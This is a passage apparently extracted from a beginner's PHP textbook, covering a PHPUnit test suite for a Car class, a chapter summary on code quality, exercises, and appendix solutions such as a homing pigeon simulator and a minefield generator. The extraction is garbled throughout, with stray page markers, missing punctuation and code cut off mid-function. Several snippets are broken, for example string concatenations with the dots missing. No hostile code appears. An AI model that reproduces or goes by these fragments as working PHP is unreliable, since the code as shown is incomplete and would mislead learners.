pear install alldeps phpunit/PHPUnit
Try It Out Write a Simple PHPUnit Test Suite
Now that you’ve installed PHPUnit, try writing some simple tests In this example you test a few methods of the Car class created in the car_simulator.php script in Chapter 8 (and reprised in the
“Documenting Your Code” section earlier in this chapter)
Save the following script as car_tests.php in your document root folder:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>
<head>
<title>Car Test Suite Example</title>
<link rel=”stylesheet” type=”text/css” href=”common.css” />
require_once( “PHPUnit/TextUI/TestRunner.php” );
class Car { public $color;
public $manufacturer;
public $model;
private $_speed = 0;
public function accelerate() {
if ( $this->_speed >= 100 ) return false;
$this->_speed += 10;
Trang 26return true;
}
public function brake() {
if ( $this->_speed <= 0 ) return false;
$testSuite = new PHPUnit_Framework_TestSuite();
$testSuite->addTest( new CarTest( “testInitialSpeedIsZero” ) );
$testSuite->addTest( new CarTest( “testAccelerate” ) );
$testSuite->addTest( new CarTest( “testMaxSpeed” ) );
Trang 27Now run the script in your Web browser If all goes well you should see a page similar to Figure 20-3, indicating that all of the tests passed.
Figure 20-3
How It Works
The script starts by displaying an XHTML page header and including two PHPUnit library files:
❑ PHPUnit/Framework.php is the main PHPUnit framework library Including this file loads all of the classes required for creating tests
❑ PHPUnit/TextUI/TestRunner.php provides the PHPUnit_TextUI_TestRunner class, which runs the tests in a test suite and displays the results
The main part of the script contains three sections: the class to be tested (Car), a test case class containing the tests to run (CarTest), and procedural code to run the tests CarTest inherits from the
PHPUnit_Framework_TestCase class, which is used to create test cases to be run by PHPUnit
In a real-world situation, you would often have your test case class in a separate file from the class you’re testing Your test file would then use include() to include the class file to test.
This simple test case comprises just three test methods:
❑ testInitialSpeedIsZero() makes sure that the speed reported by a newly created Car
object is zero
❑ testAccelerate() accelerates a stationary car, then checks that the new speed is 10 miles per hour
❑ testMaxSpeed() accelerates a car up to its maximum speed (100 miles per hour), then checks that
it can’t be accelerated furtherEach method creates a new Car class, performs the appropriate action (such as accelerating the car), and tests the outcome The testing is done by calling PHPUnit_Framework_TestCase::
assertEquals(), which checks that two values match (if they don’t, the test fails) Other commonly
Trang 28Assertion Method Test Succeeds If
assertGreaterThanOrEqual( $a, $b ) $b is greater than or equal to $a
assertLessThanOrEqual( $a, $b ) $b is less than or equal to $a
For all assertion methods, you can include an explanatory message as a string (usually as the last
argument) If the test fails, this message is displayed or logged This can help to identify failed tests
when working with large test cases For example:
$this->assertEquals( 0, $car->getSpeed(), “Car’s initial speed is not 0”
);
Once the Car and CarTest classes have been defined, the script creates a new test suite (that is, a bunch
of tests), adds the three tests to the suite, and runs the suite:
$testSuite = new PHPUnit_Framework_TestSuite();
$testSuite->addTest( new CarTest( “testInitialSpeedIsZero” ) );
$testSuite->addTest( new CarTest( “testAccelerate” ) );
$testSuite->addTest( new CarTest( “testMaxSpeed” ) );
PHPUnit_TextUI_TestRunner::run( $testSuite );
This example has merely scratched the surface of PHPUnit It is a powerful framework, allowing you to
do advanced things such as:
Create self-contained environments specifically for testing database code
Use simulated objects to test that methods are being called correctly within your application
Generate code coverage reports that list any lines of code in your application that aren’t being tested
Creating unit tests with PHPUnit might seem like a lot of work, but it can save you time in the long
run For example, once you’ve written a test case, you can run it against your application each time
you develop a new version of your code to make sure the code still works as expected (this is known
as regression testing) As ever, a good place to start learning about PHPUnit is the documentation,
available online at http://www.phpunit.de/wiki/Documentation
❑
❑
❑
Trang 29Summar y
In this chapter you looked at a wide range of techniques that help you write better code High - quality code is important because it ’ s quicker and easier for you (and others) to maintain; it ’ s more robust in the way it handles problems and errors; and it ’ s more secure against attacks from unscrupulous users You explored the following topics:
How to write modular code: This involves splitting your code into small, easy - to - maintain
chunks that can often be reused by different applications You briefly revisited functions and classes, looked at PHP ’ s include() , require() , include_once() , and require_once() functions that let you split your application across different script files, and took a quick look at using namespaces to avoid clashing function, method, and constant names across code modules
How to create and use coding standards: Coding standards help you write consistently
formatted, readable code that ’ s easier to maintain You looked at some of the conventions used
in PHP and other languages
Creating code documentation: You learned why comments and code documentation are an
integral part of well - written applications, and studied how to write good comments and use phpDocumentor to generate documentation
Application security: This important, often - overlooked aspect of Web programming is a critical
part of any robust application You looked at how to check and filter user input to ensure its integrity, as well as how to encode or escape your application ’ s output to ensure that it contains only safe data
Error handling: For your application to behave as reliably as possible, it needs to handle
problems gracefully You saw how to use PHP ’ s error handling and logging functions to deal with errors, and how to use the power of exception classes to create flexible, robust error handling code
Separating application and presentation code: You looked at how to move your presentation
markup into separate template files, thereby creating a clean division between your application ’ s business logic and its visual interface Doing this makes your application code much easier to work with, both for designers and for programmers
Unit testing: You learned about the benefits of code testing in general, and unit testing in
particular Testing code early and often saves a lot of headaches further down the line You looked briefly at PHPUnit, a testing framework that lets you easily write your own automated unit tests
Having read all the chapters in this book, you know how to write not just PHP code, but good PHP code Creating high - quality code requires time, effort, and discipline, but it results in robust applications that are easy to maintain and extend Anyone who works on your code — including yourself — will thank you for it! Now that you understand the concepts involved in writing high - quality code, try the following two exercises to test your skills at creating error handlers and working with PHPUnit You can find the solutions to these exercises in Appendix A
Hopefully you have found this beginner ’ s guide to PHP 5.3 useful and enjoyable Good luck with creating your Web applications, and have fun!
Trang 30Exer cises
1 Write an error handler, myErrorHandler() , that emails any E_WARNING or E_USER_WARNING
messages to your email address, and logs other errors in a non_serious_errors.log file Test
your handler with code that generates both an E_USER_WARNING and an E_USER_NOTICE error
2 Create a PHPUnit test case that tests all aspects of the Circle class defined in inheritance.php
in Chapter 8
Trang 31< !DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd” >
< html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en” >
< head >
< title > Hello < /title >
< link rel=”stylesheet” type=”text/css” href=”common.css” / >
< /head >
< body >
< h1 >
< ?php // Get the current time in a readable format
$currentTime = date( “g:i:s a” );
// Get the current date in a readable format
$currentDate = date( “M j, Y” );
// Display greeting, time and date to the visitorecho “Hello, world! The current time is $currentTime on $currentDate”;
? < /h1 >
< /body >
< /html >
Trang 32echo “Test 1 result: “ ($x == $y) “ < br / >
echo “Test 2 result: “ ($x > $y) “ < br / >
echo “Test 3 result: “ ($x < = $y) “ < br / >
echo “Test 4 result: “ ($x != $y) “ < br / >
?
Chapter 4
Exercise 1 Solution
You could write this script many ways The following solution creates a for loop to count the numbers, then
uses the ? (ternary) operator and a switch construct to determine if each number is odd, even, or prime
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>
<head>
<title>Testing the Numbers 1-10</title>
<link rel=”stylesheet” type=”text/css” href=”common.css” />
Trang 33</tr>
<?php
for ( $i = 1; $i <= 10; $i++ ) { $oddEven = ( $i % 2 == 0 ) ? “Even” : “Odd”;
switch ( $i ) { case 2:
home base, and the second do while loop should exit when both pigeons have flown home Therefore
the loop conditions and decisions within the script need to be a bit more complex:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>
<head>
<title>Homing Pigeons Simulator</title>
<link rel=”stylesheet” type=”text/css” href=”common.css” />
<style type=”text/css”>
div.map { float: left; text-align: center; border: 1px solid #666;
background-color: #fcfcfc; margin: 5px; padding: 1em; } span.home, span.pigeon { font-weight: bold; } span.empty { color: #666; }
</style>
</head>
<body>
Trang 34$mapSize = 10;
// Position the home and the pigeons
do {
$homeX = rand ( 0, $mapSize-1 );
$homeY = rand ( 0, $mapSize-1 );
$pigeon1X = rand ( 0, $mapSize-1 );
$pigeon1Y = rand ( 0, $mapSize-1 );
$pigeon2X = rand ( 0, $mapSize-1 );
$pigeon2Y = rand ( 0, $mapSize-1 );
} while ( ( ( abs( $homeX - $pigeon1X ) < $mapSize/2 ) && ( abs( $homeY - $pigeon1Y )
< $mapSize/2 ) ) || ( ( abs( $homeX - $pigeon2X ) < $mapSize/2 ) && ( abs( $homeY
// Display the current map
echo ‘<div class=”map” style=”width: ‘ $mapSize ‘em;”><pre>’;
Trang 35for ( $y = 0; $y < $mapSize; $y++ ) {
for ( $x = 0; $x < $mapSize; $x++ ) {
if ( $x == $homeX && $y == $homeY ) { echo ‘<span class=”home”>+</span>’; // Home } elseif ( ( $x == $pigeon1X && $y == $pigeon1Y ) || ( $x == $pigeon2X &&
$y == $pigeon2Y ) ) { echo ‘<span class=”pigeon”>%</span>’; // Pigeon } else {
echo ‘<span class=”empty”>.</span>’; // Empty square }
Trang 36Exercise 2 Solution
To emulate str_pad() in its most basic form, all you need to do is use a while loop to keep adding
spaces to the right of the string until the desired length is reached To display the results, make sure you
surround the strings in HTML < pre > < /pre > tags so that you can see the padding Here ’ s an
echo “<pre>Original string: ‘$myString’</pre>”;
while ( strlen( $myString ) < 20 ) {
The solution to this exercise is relatively simple, but it contains some important concepts:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
“http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” lang=”en”>
<head>
<title>Adding Author Names</title>
<link rel=”stylesheet” type=”text/css” href=”common.css” />
</head>
<body>
<h1>Adding Author Names</h1>
<?php
Trang 37$authors = array( “Steinbeck”, “Kafka”, “Tolkien”, “Dickens”, “Milton”, “Orwell” );
array(
“title” => “The Grapes of Wrath”, “authorId” => 0,
“pubYear” => 1939 ),
array(
“title” => “A Tale of Two Cities”, “authorId” => 3,
“pubYear” => 1859 ),
array(
“title” => “Paradise Lost”, “authorId” => 4,
“pubYear” => 1667 ),
array(
“title” => “Animal Farm”, “authorId” => 5,
“pubYear” => 1945 ),
array(
“title” => “The Trial”, “authorId” => 1, “pubYear” => 1925 ),
Trang 38First of all, the script displays an XHTML page header, then it defines the two arrays as specified in the
exercise The main action happens within the ensuing foreach loop:
foreach ( $books as & $book ) {
$book[“authorName”] = $authors[$book[“authorId”]];
}
This code loops through each of the six elements in the $books array, assigning each element to the
variable $book by reference It does this by placing an ampersand ( & ) before the $book variable name in
the foreach statement It ’ s important to assign by reference because the code within the loop needs to
modify the contents of the $book element If the ampersand was missing, the code would be working on
a copy of each element, leaving the $books array untouched
The line of code within the loop gets the value of the “authorId” element within the current associative
array contained in the $book variable:
Trang 39[pubYear] => 1859 [authorName] => Dickens )
[3] => Array ( [title] => Paradise Lost [authorId] => 4
[pubYear] => 1667 [authorName] => Milton )
[4] => Array ( [title] => Animal Farm [authorId] => 5 [pubYear] => 1945 [authorName] => Orwell )
[5] => Array ( [title] => The Trial [authorId] => 1 [pubYear] => 1925 [authorName] => Kafka )
Trang 40// Initialize the minefield
// Add the mines
for ( $i=1; $i<=$numMines; $i++ ) {
First the script outputs a page header and sets some configuration variables: $fieldSize to hold the size
of one side of the minefield grid, and $numMines to specify the number of mines to be placed in the field
Next the script creates a new array, $minefield, and loops through all 20 elements of the array For each
element, it creates a nested array and stores it in the element, then loops through the first 20 elements of
the nested array, setting their values to false, which signifies an empty square (This initialization
process isn ’ t strictly necessary because PHP creates arrays on - the-fly as they ’ re needed; however, it ’ s a
good idea to initialize the minefield to default values so that you know exactly what ’ s in the minefield.)
After initializing the field, the script adds the mines It does this by creating a loop that counts from 1 to
the number of mines to create ($numMines) Within the loop, the script generates a random x and y
position for the new mine, and uses a do while loop to ensure that the position chosen doesn ’ t
already contain a mine If it does, the do while loop continues with a new random position until an
empty spot is found It then creates the mine by setting the appropriate array element to true